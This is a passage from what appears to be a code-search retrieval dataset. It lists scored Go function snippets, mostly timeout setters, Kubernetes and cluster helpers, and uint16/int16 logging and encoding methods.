"5394dfe207f5908a8f4ec86de4dab42c", "score": "0.46400028", "text": "func NewPostPrivateClusterTemplateParamsWithTimeout(timeout time.Duration) *PostPrivateClusterTemplateParams {\n\tvar ()\n\treturn &PostPrivateClusterTemplateParams{\n\n\t\ttimeout: timeout,\n\t}\n}", "title": "" }, { "docid": "c55549a3242a9610d0ed42bddfacb0d2", "score": "0.4637838", "text": "func NewClusterAndKeycloakActionRunner(context context.Context, client client.Client, scheme *runtime.Scheme, cr runtime.Object, keycloakClient KeycloakInterface) ActionRunner {\n\treturn &ClusterActionRunner{\n\t\tclient: client,\n\t\tcontext: context,\n\t\tscheme: scheme,\n\t\tcr: cr,\n\t\tkeycloakClient: keycloakClient,\n\t}\n}", "title": "" }, { "docid": "488d76b0df2e22f6288393bdf3139257", "score": "0.4626978", "text": "func (o *CreateEsClusterParams) WithTimeout(timeout time.Duration) *CreateEsClusterParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "0037d0a2c5933ff8ab75b4727d73fbeb", "score": "0.46268982", "text": "func (match *ExMatch) ReceiveAction(action *gamemm2.Action) {\n\tt1 := time.After(3 * time.Second)\n\tselect {\n\tcase match.ChanAction <- action:\n\tcase <-t1:\n\t\tfmt.Println(\"ERROR: poker match.ReceiveAction TimeOut\")\n\t}\n}", "title": "" }, { "docid": "9b806b8642ff85cf9e591214d3f72f55", "score": "0.46152", "text": "func (_BisectionChallenge *BisectionChallengeTransactor) TimeoutChallenge(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _BisectionChallenge.contract.Transact(opts, \"timeoutChallenge\")\n}", "title": "" }, { "docid": "20693d7f5908d3423c744d1fe9c26760", "score": "0.46074393", "text": "func (o *PostHyperflexClustersMoidParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "74cfff8addbfa13286a063138ad720bb", "score": "0.46025282", "text": "func Timeout(i int) Option {\n\treturn func(args *IGet) {\n\t\targs.timeoutTime = i * 60 * 1000\n\t}\n}", "title": "" }, { "docid": "9e1ece757d38839a22447db6be1858ff", "score": "0.46002305", "text": "func ActionClusters() carapace.Action {\n\treturn carapace.ActionCallback(func(c carapace.Context) carapace.Action {\n\t\treturn carapace.ActionExecCommand(\"kubectl\", \"config\", \"get-clusters\")(func(output []byte) carapace.Action {\n\t\t\tlines := strings.Split(string(output), \"\\n\")\n\t\t\treturn carapace.ActionValues(lines[1 : len(lines)-1]...)\n\t\t})\n\t})\n}", "title": "" }, { "docid": "b716fdd7025afbe2d5d0782f4f98e7e2", "score": "0.45998895", "text": "func Action(logger *log.Logger, action string, containerId string, docker *dockerapi.Client, TTL uint64, CONSUL string, DOMAIN string) {\n\n\t//if we fail on inspection, that is ok because we might\n\t//be checking for a crufty container that no longer exists\n\t//due to docker being shutdown uncleanly\n\n\tcontainer, dockerErr := docker.InspectContainer(containerId)\n\tif dockerErr != nil {\n\t\tlogger.Printf(\"unable to inspect container:%s %s\", containerId, dockerErr)\n\t\treturn\n\t}\n\tvar hostname = container.Name[1:]\n\tvar ipaddress = container.NetworkSettings.IPAddress\n\n\tif ipaddress == \"\" {\n\t\tlogger.Println(\"no ipaddress returned for container: \" + hostname)\n\t\treturn\n\t}\n\n\tswitch action {\n\tcase \"start\":\n\t\tlogger.Println(\"new container name=\" + container.Name[1:] + \" ip:\" + ipaddress)\n\t\tDeregister(CONSUL, logger, hostname)\n\t\tservice := Service{Name: hostname, Address: ipaddress}\n\t\tRegister(CONSUL, logger, &service)\n\tcase \"stop\":\n\t\tlogger.Println(\"removing container name=\" + container.Name[1:] + \" ip:\" + ipaddress)\n\t\tDeregister(CONSUL, logger, hostname)\n\tcase \"destroy\":\n\t\tlogger.Println(\"removing container name=\" + container.Name[1:] + \" ip:\" + ipaddress)\n\t\tDeregister(CONSUL, logger, hostname)\n\tdefault:\n\t}\n\n}", "title": "" }, { "docid": "60171ebe575cbe898427753bc158d9a5", "score": "0.45863897", "text": "func (seedPt *seedT) timeout() (maxTime time.Duration) {\n\tif seedPt.roundNb == 0 {\n\t\treturn execTimeOut\n\t}\n\tif seedPt.calibrated {\n\t\treturn time.Duration(seedPt.execTime) * time.Microsecond\n\t}\n\n\t// Taking in account mutation time.\n\tconst cstTime = 200 * time.Microsecond\n\tmaxTime = 3 * time.Duration(seedPt.execTime) * time.Microsecond\n\tmaxTime += cstTime\n\n\tif maxTime > timeoutUpperLimit {\n\t\tmaxTime = timeoutUpperLimit\n\t}\n\n\t//dbgPr(\"timeout = %+v\\n\", maxTime)\n\treturn maxTime\n}", "title": "" }, { "docid": "03f3691e453865372dd94db6d441afce", "score": "0.45722976", "text": "func (o *PostClustersUUIDCloudCredentialsCloudTypeParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "92d499425b4df26c37886fb681668bc7", "score": "0.45548216", "text": "func WithTimeout(timeout time.Duration) Option {\n\treturn func(h *health) {\n\t\th.timeout = timeout\n\t}\n}", "title": "" }, { "docid": "92d499425b4df26c37886fb681668bc7", "score": "0.45548216", "text": "func WithTimeout(timeout time.Duration) Option {\n\treturn func(h *health) {\n\t\th.timeout = timeout\n\t}\n}", "title": "" }, { "docid": "499e54f8b2b02137aa1050d63bdc6b71", "score": "0.45516318", "text": "func (s *IngestDeletePipelineService) Timeout(timeout string) *IngestDeletePipelineService {\r\n\ts.timeout = timeout\r\n\treturn s\r\n}", "title": "" }, { "docid": "ded2ddd084d9459d4c221f8c3a372365", "score": "0.4537479", "text": "func (kub *Kubectl) CiliumPolicyAction(namespace, filepath string, action ResourceLifeCycleAction, timeout time.Duration) (string, error) {\n\tpodRevisions, err := kub.getPodRevisions()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tnumNodes := len(podRevisions)\n\n\tkub.Logger().Infof(\"Performing %s action on resource '%s'\", action, filepath)\n\n\tstatus := kub.Action(action, filepath, namespace)\n\tif !status.WasSuccessful() {\n\t\treturn \"\", status.GetErr(fmt.Sprintf(\"Cannot perform '%s' on resource '%s'\", action, filepath))\n\t}\n\tunchanged := action == KubectlApply && strings.HasSuffix(status.Stdout(), \" unchanged\\n\")\n\n\t// If policy is uninstalled we can't require a policy being enforced.\n\tif action != KubectlDelete {\n\t\tjqFilter := getPolicyEnforcingJqFilter(numNodes)\n\t\tbody := func() bool {\n\t\t\tcmds := map[string]string{\n\t\t\t\t\"CNP\": fmt.Sprintf(\"%s get cnp --all-namespaces -o json | jq '%s'\", KubectlCmd, jqFilter),\n\t\t\t\t\"CCNP\": fmt.Sprintf(\"%s get ccnp -o json | jq '%s'\", KubectlCmd, jqFilter),\n\t\t\t}\n\n\t\t\tfor ctx, cmd := range cmds {\n\t\t\t\tvar data []map[string]string\n\n\t\t\t\tres := kub.ExecShort(cmd)\n\t\t\t\tif !res.WasSuccessful() {\n\t\t\t\t\tkub.Logger().WithError(res.GetErr(\"\")).Errorf(\"cannot get %s status\", ctx)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\terr := res.Unmarshal(&data)\n\t\t\t\tif err != nil {\n\t\t\t\t\tkub.Logger().WithError(err).Errorf(\"Cannot unmarshal json for %s status\", ctx)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\tfor _, item := range data {\n\t\t\t\t\tif item[\"enforcing\"] != \"true\" || item[\"status\"] != \"true\" {\n\t\t\t\t\t\tkub.Logger().Errorf(\"%s policy '%s' is not enforcing yet\", ctx, item[\"name\"])\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn true\n\t\t}\n\n\t\terr = WithTimeout(\n\t\t\tbody,\n\t\t\t\"Timed out while waiting for policies to be enforced\",\n\t\t\t&TimeoutConfig{Timeout: timeout})\n\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// If the applied policy was unchanged, we don't need to wait for the next policy revision.\n\tif unchanged {\n\t\treturn \"\", nil\n\t}\n\n\treturn \"\", kub.waitNextPolicyRevisions(podRevisions, timeout)\n}", "title": "" }, { "docid": "7f857bf24ba0c484e93afcccb3918b4e", "score": "0.45357656", "text": "func (o LookupFunctionResultOutput) Timeout() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupFunctionResult) string { return v.Timeout }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "dd1955fe1e2b85420f6b12769b744da3", "score": "0.45286888", "text": "func (o *CreateClusterPatchAbortItemParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "103faf7e8686de73d9c9308355e48e1e", "score": "0.45271933", "text": "func (o ClusterUpgradePolicyOutput) UpgradeTimeout() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ClusterUpgradePolicy) string { return v.UpgradeTimeout }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9ae66b3eb273d479b96bf184927b45d1", "score": "0.45122963", "text": "func (s *DeleteByQueryService) Timeout(timeout string) *DeleteByQueryService {\n\ts.timeout = timeout\n\treturn s\n}", "title": "" }, { "docid": "b2108d61a7283180267a9e557d21849a", "score": "0.45055485", "text": "func (o *MetroclusterDrGroupCollectionGetParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "d1ca1f1192a7c4befa65cdd10340fd48", "score": "0.44999233", "text": "func ConnectTimeout(timout time.Duration) Option {\n\treturn func(cfg *Config) error {\n\t\tcfg.Gossip = true\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "7b2e2fb4754f30eb02468ac5ff7c4ca2", "score": "0.44994438", "text": "func (o *ListClustersOnEndpointUsingGETParams) WithTimeout(timeout time.Duration) *ListClustersOnEndpointUsingGETParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "e535179f17d58cfe37f3e5ca6688b7a3", "score": "0.4495669", "text": "func (command cliCommand) getTimeout() time.Duration {\n\tif command.timeout != 0 {\n\t\treturn command.timeout\n\t}\n\n\treturn DefaultCLITimeout\n}", "title": "" }, { "docid": "15201cc7d7e93f4415717a2f23a4e776", "score": "0.4494627", "text": "func (o *GetAppcompsParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "06a1cae24e97d9e0a75bbc0062c2246b", "score": "0.44931424", "text": "func DoWithTimeout(t testing.TestingT, actionDescription string, timeout time.Duration, action func() (string, error)) string {\n\tout, err := DoWithTimeoutE(t, actionDescription, timeout, action)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn out\n}", "title": "" }, { "docid": "532bc048160f4d5e9a5f46a572c2644d", "score": "0.4490187", "text": "func (_BisectionChallenge *BisectionChallengeTransactorSession) TimeoutChallenge() (*types.Transaction, error) {\n\treturn _BisectionChallenge.Contract.TimeoutChallenge(&_BisectionChallenge.TransactOpts)\n}", "title": "" }, { "docid": "4ee3e323fc8d8eac629fa883856cf107", "score": "0.44824818", "text": "func (o *SingleAdminDeleteChannelParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "33e7069a61316158f1aaf7304a151121", "score": "0.4446586", "text": "func (o *GetClusterClusterIDTaskRepairTaskIDRunIDParams) WithTimeout(timeout time.Duration) *GetClusterClusterIDTaskRepairTaskIDRunIDParams {\n\to.SetTimeout(timeout)\n\treturn o\n}", "title": "" }, { "docid": "8343dceb27e07c16623a4e8dc88e6dee", "score": "0.44453228", "text": "func (o *GetCwfParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "1e8eb2b99a395fda1c2ed4e6476a5d10", "score": "0.44432557", "text": "func Action(ctx *cli.Context) {\n\tconf := rediscluster.Config{}\n\tconf.Development = ctx.Bool(\"develop\")\n\tconf.Kubeconfig = ctx.String(\"kubeconfig\")\n\tconf.BootImg = ctx.String(\"bootimg\")\n\tconf.ClusterDomain = ctx.String(\"clusterdomain\")\n\tconf.ConcurrentWorkers = ctx.Int(\"concurrentworkers\")\n\n\trediscluster.Start(&conf)\n}", "title": "" }, { "docid": "4e17ba936feaeb14110b060536a14a3c", "score": "0.44424334", "text": "func cmdCLUSTER(um Machine, ra *raftWrap, args []string) (interface{}, error) {\n\tm := getBaseMachine(um)\n\tif m == nil {\n\t\treturn nil, ErrInvalid\n\t}\n\tif len(args) < 2 {\n\t\treturn nil, errWrongNumArgsCluster\n\t}\n\targs[1] = strings.ToLower(args[1])\n\trcmd, ok := clusterCommands[args[1]]\n\tif !ok {\n\t\treturn nil, errUnknownClusterCommand(args[:2])\n\t}\n\treturn rcmd.fn(m, ra, args)\n}", "title": "" }, { "docid": "ed85b529fc1a01f4001cd0ee31e92f19", "score": "0.44320273", "text": "func (o *DeleteNodePoolConfigItemParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" }, { "docid": "6bcdbb605c546abc15520d700551326e", "score": "0.4429903", "text": "func Timeout(timeout time.Duration) func(r *APIClient) {\n\treturn func(r *APIClient) {\n\t\tr.timeout = timeout\n\t}\n}", "title": "" }, { "docid": "6bcdbb605c546abc15520d700551326e", "score": "0.4429903", "text": "func Timeout(timeout time.Duration) func(r *APIClient) {\n\treturn func(r *APIClient) {\n\t\tr.timeout = timeout\n\t}\n}", "title": "" }, { "docid": "cf051683d1b3bfe327dd1ec0b4669f4a", "score": "0.44286513", "text": "func (o *ClearRoleParams) SetTimeout(timeout time.Duration) {\n\to.timeout = timeout\n}", "title": "" } ]
7f276da01990e48437aa4807656ae723
Uint16 adds the field key with i as a uint16 to the event.
[ { "docid": "c0184c2bc5f88d42c1f921710dfbdae2", "score": "0.79098564", "text": "func (e *Event) Uint16(key string, i uint16) *Event {\n\treturn e.Uint64(key, uint64(i))\n}", "title": "" } ]
[ { "docid": "1b06ab0234d0c3c78a676c9eb35ec351", "score": "0.7528368", "text": "func (ta textAppender) AppendUint16(dst []byte, key string, value uint16) []byte {\n\tdst = ta.appendKey(dst, key)\n\treturn strconv.AppendUint(dst, uint64(value), 10)\n}", "title": "" }, { "docid": "c124376b216414ca72acb477bab3d883", "score": "0.7459675", "text": "func (l *Log) Uint16(key string, value uint16) *Log {\n\tif l == nil {\n\t\treturn nil\n\t}\n\n\tl.data = l.appender.AppendUint16(l.data, key, value)\n\treturn l\n}", "title": "" }, { "docid": "ac353c0c6c80f30a10bda930694bf99d", "score": "0.7184424", "text": "func (_m *PrimitiveArrayEncoder) AppendUint16(_a0 uint16) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "9d6e5d730f8bd692501044ccea284242", "score": "0.70723355", "text": "func (e *Event) Int16(key string, i int16) *Event {\n\treturn e.Int64(key, int64(i))\n}", "title": "" }, { "docid": "c71f9e006b434c3510778351c1c3a6ef", "score": "0.7059266", "text": "func Uint16(key string, val uint16) Field {\n\treturn zap.Uint16(key, val)\n}", "title": "" }, { "docid": "0502d2631c8fe94d7144d2f5e2f79cb5", "score": "0.68407744", "text": "func (l *Log) Int16(key string, value int16) *Log {\n\tif l == nil {\n\t\treturn nil\n\t}\n\n\tl.data = l.appender.AppendInt16(l.data, key, value)\n\treturn l\n}", "title": "" }, { "docid": "ba6ebaa2adc0199bb938b32d2d2e1ed3", "score": "0.68112534", "text": "func (e *Encoder) Uint16(i uint16) {\n\tif e.err != nil {\n\t\treturn\n\t}\n\tbinary.LittleEndian.PutUint16(e.b[:2], i)\n\te.wr.Write(e.b[:2])\n}", "title": "" }, { "docid": "615d9679db9d16bf4b5654df0e468b06", "score": "0.680294", "text": "func (g *Group) Uint16() *Statement {\n\t// notest\n\ts := Uint16()\n\tg.items = append(g.items, s)\n\treturn s\n}", "title": "" }, { "docid": "dd84c3471acf0083979871cda7ea095f", "score": "0.679255", "text": "func (b *Buffer) PutUint16(v uint16) { b.data = PutUint16(b.data, v) }", "title": "" }, { "docid": "8f4de42f4ba2fba159a3c4d4a31d3d6a", "score": "0.6741709", "text": "func (s *Struct) AddUint16(name string) {\n\ts.addPrimitive(name, \"uint16\")\n}", "title": "" }, { "docid": "61ce5eac4cc4741029df38994c55f59a", "score": "0.6728841", "text": "func (buf *BlobBuf) AddU16(name string, val uint16) int {\n\tcname := C.CString(name)\n\tdefer C.free(unsafe.Pointer(cname))\n\n\treturn int(C.blobmsg_add_u16(buf.ptr, cname, C.uint16_t(val)))\n}", "title": "" }, { "docid": "72fad8600f9e1779bd044fb9a5adc84b", "score": "0.6716941", "text": "func (p Payload) Uint16(key string) (uint16, error) {\n\ti, found, err := unstructured.NestedFloat64(p, key)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tif !found {\n\t\treturn 0, errors.Errorf(\"payload does not contain %q\", key)\n\t}\n\n\tif i > math.MaxUint16 || i < 0 {\n\t\treturn 0, errors.Errorf(\"value %v is not a valid uint16\", i)\n\t}\n\n\treturn uint16(i), nil\n}", "title": "" }, { "docid": "6aa9c88faec02dfda80599e42ef2ec12", "score": "0.667665", "text": "func (e *Encoder) Uint16(v uint16) (err error) {\n\t_, err = e.w.Write(e.bw.Uint16(v))\n\treturn\n}", "title": "" }, { "docid": "5d6e18442e6fef3398cc2d2e734a444d", "score": "0.66765475", "text": "func (ta textAppender) AppendInt16(dst []byte, key string, value int16) []byte {\n\tdst = ta.appendKey(dst, key)\n\treturn strconv.AppendInt(dst, int64(value), 10)\n}", "title": "" }, { "docid": "7e1a44323dfd04d7bac8d29369b87c37", "score": "0.66603696", "text": "func (_m *PrimitiveArrayEncoder) AppendInt16(_a0 int16) {\n\t_m.Called(_a0)\n}", "title": "" }, { "docid": "5b91717000be4c4b8210ac24778c3629", "score": "0.6647325", "text": "func (b *Buffer) AppendUint16(v uint16) {\n\tb.b = append(b.b,\n\t\tbyte(v>>8),\n\t\tbyte(v>>0),\n\t)\n}", "title": "" }, { "docid": "9abb951a36682abdc43670d94495a7f3", "score": "0.6641381", "text": "func Int16(key string, val int16) Field {\n\treturn zap.Int16(key, val)\n}", "title": "" }, { "docid": "4a4782ca8fc79727f0284c24d63e48bb", "score": "0.66356087", "text": "func (b *Builder) AppendUint16(name string, data []uint16) {\n\n\tp, ok := b.info.Pos[name]\n\tif !ok {\n\t\tmsg := fmt.Sprintf(\"Variable %s not found.\", name)\n\t\tpanic(msg)\n\t}\n\n\tif b.firstVar {\n\t\tb.info.Rows = append(b.info.Rows, uint64(len(data)))\n\t} else {\n\t\tm := b.info.Rows[len(b.info.Rows)-1]\n\t\tif int(m) != len(data) {\n\t\t\tmsg := fmt.Sprintf(\"Invalid number of values in variable %s, expected %d, found %d.\",\n\t\t\t\tname, m, len(data))\n\t\t\tpanic(msg)\n\t\t}\n\t}\n\n\tstart := b.currentPosition()\n\tgz := gzip.NewWriter(b.w)\n\tenc := gob.NewEncoder(gz)\n\n\terr := enc.Encode(data)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgz.Close()\n\tend := b.currentPosition()\n\n\tb.info.Offsets[p] = append(b.info.Offsets[p], uint64(start))\n\tb.info.Sizes[p] = append(b.info.Sizes[p], uint64(end-start))\n\n\tb.written[p] = true\n\tb.firstVar = false\n}", "title": "" }, { "docid": "bcda436c5da6c3724d8fdf6603032280", "score": "0.6598566", "text": "func (h *MapUintToUint16) Add(k uint, v uint16) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v += v\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, v)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3c2196dd47f6ff2cd3660659effd2bbf", "score": "0.65868616", "text": "func (h *MapUintToInt16) Add(k uint, v int16) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v += v\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, v)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c7710d35715647bb122487219d9d96c5", "score": "0.657603", "text": "func (p *Packer) PushUint16(i uint16) *Packer {\n\treturn p.errFilter(func() {\n\t\tbuffer := make([]byte, 2)\n\t\tp.endian.PutUint16(buffer, i)\n\t\t_, p.err = p.writer.Write(buffer)\n\t})\n}", "title": "" }, { "docid": "3cad9c86222ae27f745c93a0dbe10eee", "score": "0.65100735", "text": "func (h *Hasher) PutUint16(i uint16) {\n\tbuf := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(buf, i)\n\th.appendBytes32(buf)\n}", "title": "" }, { "docid": "606f0a0ec6fe6a5c91d907a13236a04c", "score": "0.64901876", "text": "func (sh *Stateholder) SetUint16(key string, value uint16) error {\n\tbuffer := make([]byte, 2)\n\tbinary.LittleEndian.PutUint16(buffer, value)\n\treturn sh.set(key, KindUint16, buffer)\n}", "title": "" }, { "docid": "528b88b24b5db04529737d99888c56a8", "score": "0.6443119", "text": "func (self *State)AppUint16(a *[]uint16,b any){\n self.IncOperations(self.coeff[\"append\"]+self.off[\"append\"])\n *a = append(*a,b.(uint16))\n}", "title": "" }, { "docid": "600a7bc43c76358f062474637116ebad", "score": "0.63750654", "text": "func (w *mqttWriter) WriteUint16(i uint16) {\n\tw.WriteByte(byte(i >> 8))\n\tw.WriteByte(byte(i))\n}", "title": "" }, { "docid": "86a2db9262d8ab5c44c4ac74d1326c67", "score": "0.6365865", "text": "func (pb PacketBuffer) PutUint16(offset, value int) {\n\tbinary.LittleEndian.PutUint16(pb[offset:offset+4], uint16(value))\n}", "title": "" }, { "docid": "bf01571041ee4c70e572772516b3b640", "score": "0.63106173", "text": "func (i Ei) Uint16() (uint16, error) {\n\tr, e := i.Uint64()\n\treturn uint16(r), e\n}", "title": "" }, { "docid": "b5c944e9f6bfcf6008b6eab841025832", "score": "0.6303561", "text": "func (e Encoder) EmitUint16(v uint16) Encoder {\n\te.B = append(e.B,\n\t\tbyte(v>>8),\n\t\tbyte(v))\n\treturn e.EmitSep()\n}", "title": "" }, { "docid": "2e77428fd45315ed22ec5ec694450124", "score": "0.6260551", "text": "func (s *Statement) Uint16() *Statement {\n\t// notest\n\tt := token{\n\t\tcontent: \"uint16\",\n\t\ttyp: identifierToken,\n\t}\n\t*s = append(*s, t)\n\treturn s\n}", "title": "" }, { "docid": "b5062ec08ba39d6478a7179fe6428dcc", "score": "0.62576157", "text": "func (ta textAppender) AppendUint16s(dst []byte, key string, values []uint16) []byte {\n\treturn ta.appendArray(dst, key, len(values), func(innerDst []byte, index int) []byte {\n\t\treturn strconv.AppendUint(innerDst, uint64(values[index]), 10)\n\t})\n}", "title": "" }, { "docid": "8932b8816793bf1eb8447307e0087d67", "score": "0.6255125", "text": "func (l *Log) Uint16s(key string, value []uint16) *Log {\n\tif l == nil {\n\t\treturn nil\n\t}\n\n\tl.data = l.appender.AppendUint16s(l.data, key, value)\n\treturn l\n}", "title": "" }, { "docid": "5353590f03196cfb0a376d6ef002349c", "score": "0.62530494", "text": "func Uint16(name string, value uint16) Field {\n\treturn Field{Name: name, Type: Uint16Type, Value: value}\n}", "title": "" }, { "docid": "0567a09aaf3d93ea69fce3d64c821d46", "score": "0.62348163", "text": "func (pb PacketBuffer) Uint16(offset int) int {\n\treturn int(binary.LittleEndian.Uint16(pb[offset : offset+2]))\n}", "title": "" }, { "docid": "4c48d43cf43a8e396f249cda7871b4f8", "score": "0.6233552", "text": "func (pds *PacketDataStream) PutUint16(val uint16) {\n\tpds.addVarint(uint64(val))\n}", "title": "" }, { "docid": "57021d9938fbb652dd9375d9557381be", "score": "0.6228471", "text": "func Uint16(buffer []byte, n uint16) []byte {\n\tbuffer = append(buffer, byte(n))\n\tbuffer = append(buffer, byte(n>>8))\n\treturn buffer\n}", "title": "" }, { "docid": "e0022e2d9af9955e3b1968b517cc2e56", "score": "0.6221943", "text": "func Uint16(v any) uint16 {\n\treturn Number[uint16](v)\n}", "title": "" }, { "docid": "3a08b3b0fddfa8cb85dc58a574953ce5", "score": "0.62111646", "text": "func HGetUint16(key string, field string) uint16 {\n\tvalue := hGet(key, field)\n\treturn util.StringToUint16(value)\n}", "title": "" }, { "docid": "26f72d82d264537ead2bc744c3307698", "score": "0.6178484", "text": "func (v *Value) GroupUint16(grouper func(int, uint16) string) *Value {\n\tgroups := make(map[string][]uint16)\n\tv.EachUint16(func(index int, val uint16) bool {\n\t\tgroup := grouper(index, val)\n\t\tif _, ok := groups[group]; !ok {\n\t\t\tgroups[group] = make([]uint16, 0)\n\t\t}\n\t\tgroups[group] = append(groups[group], val)\n\t\treturn true\n\t})\n\treturn &Value{data: groups}\n}", "title": "" }, { "docid": "f0154c42099a16ba4a735166f0e6b02c", "score": "0.61726457", "text": "func (s *Struct) AddInt16(name string) {\n\ts.addPrimitive(name, \"int16\")\n}", "title": "" }, { "docid": "5ac1fb98092a9bc84c937f7e99fe31a8", "score": "0.614375", "text": "func (s *source) u16(buf []byte, t table, i int) (uint16, error) {\n\tif i < 0 || uint(t.length) < uint(i+2) {\n\t\treturn 0, errInvalidBounds\n\t}\n\tbuf, err := s.view(buf, int(t.offset)+i, 2)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn u16(buf), nil\n}", "title": "" }, { "docid": "6a7969b22c681e79df9d2c36ec4f53d7", "score": "0.6137155", "text": "func AppendUint16(s []uint16, n uint16) []uint16 {\n\tif len(s) == cap(s) {\n\t\tnewCap := 2 * cap(s)\n\t\tif newCap == 0 {\n\t\t\tnewCap = 1\n\t\t}\n\t\tnewSlice := make([]uint16, len(s), newCap)\n\t\tCopyUint16s(newSlice, s)\n\t\ts = newSlice\n\t}\n\ts = s[:len(s)+1]\n\ts[len(s)-1] = n\n\treturn s\n}", "title": "" }, { "docid": "9760583101edc6e89eab4ac2bd055c4b", "score": "0.6135655", "text": "func Uint16p(key string, val *uint16) Field {\n\treturn zap.Uint16p(key, val)\n}", "title": "" }, { "docid": "c792a176e2a7af4a9ed6a646428dc84a", "score": "0.60966045", "text": "func (v VersionComponent) Uint16() uint16 {\n\treturn uint16(v)\n}", "title": "" }, { "docid": "1d346e722be00d3f2e35434708b5e2e2", "score": "0.603396", "text": "func Int16(name string, value int16) Field {\n\treturn Field{Name: name, Type: Int16Type, Value: value}\n}", "title": "" }, { "docid": "93dafbbdf43d7d259505b2c37cfe37dc", "score": "0.60195696", "text": "func NewUint16Field(name string) Uint16Field {\n\treturn Uint16Field{FieldSelector: Field(name)}\n}", "title": "" }, { "docid": "84eff252954265d551f06885ef227cd5", "score": "0.60187984", "text": "func (tag Uint16TagName) Set(span opentracing.Span, value uint16) {\n\tspan.SetTag(string(tag), value)\n}", "title": "" }, { "docid": "c3b16ebd31ac412597fb8777e97cf29f", "score": "0.60057396", "text": "func append16(b []byte, x uint16) []byte {\n\treturn append(b, byte(x>>8), byte(x>>0))\n}", "title": "" }, { "docid": "0f0791d585e41d3355079a0471cde69e", "score": "0.59835213", "text": "func WriteUint16(buf []byte, n uint16) {\n\t_ = buf[1] // Force one bounds check. See: golang.org/issue/14808\n\tbuf[0] = byte(n)\n\tbuf[1] = byte(n >> 8)\n}", "title": "" }, { "docid": "05e0a16456aa89695c8e93b7e40f64ba", "score": "0.59673965", "text": "func (helper *BufferHelper) PutUInt16(data uint16) (err error) {\n\ttmp := make([]byte, 2)\n\thelper.order.PutUint16(tmp, data)\n\treturn helper.putBytes(tmp)\n}", "title": "" }, { "docid": "42397f5dca9db69ba82fe2e0a8628561", "score": "0.5960525", "text": "func (b *Builder) NewUint16(name string) {\n\n\tif _, ok := b.info.Pos[name]; !ok {\n\t\tp := len(b.info.Pos)\n\t\tb.info.Names = append(b.info.Names, name)\n\t\tb.info.Pos[name] = p\n\t\tb.info.Dtypes = append(b.info.Dtypes, Uint16)\n\t\tvar x, y []uint64\n\t\tb.info.Offsets = append(b.info.Offsets, x)\n\t\tb.info.Sizes = append(b.info.Sizes, y)\n\t} else {\n\t\tmsg := fmt.Sprintf(\"Name '%s' already exists\\n\", name)\n\t\tpanic(msg)\n\t}\n}", "title": "" }, { "docid": "e0d0ad45e9e01bcb4196e092e6c758d5", "score": "0.59599906", "text": "func (entropy *Entropy) Uint16() uint16 {\n\tif entropy.int16p >= INT16_POOL_SIZE {\n\t\tentropy.refreshInt16Pool()\n\t}\n\tret := entropy.int16pool[entropy.int16p]\n\tentropy.int16p++\n\treturn ret\n}", "title": "" }, { "docid": "6e51283f036b0a84eec8325bd07912ae", "score": "0.5946974", "text": "func (h *MapUintToUint16) Inc(k uint) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v++\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, 1)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "67938109e31e27d553126f8c284e4add", "score": "0.5940835", "text": "func (b *Buffer) Put16(v uint16) {\n\tb.endian.PutUint16(b.buf[b.off:b.off+2], v)\n\tb.off += 2\n}", "title": "" }, { "docid": "16b70e49eb29ad8e8069ceadd9a8fe74", "score": "0.5937884", "text": "func RTypeUint16() uintptr { return ekaclike.RTypeUint16 }", "title": "" }, { "docid": "2988c75a7037973e95a3ffafdf3f4d19", "score": "0.59367234", "text": "func UInt16(assignmentVar 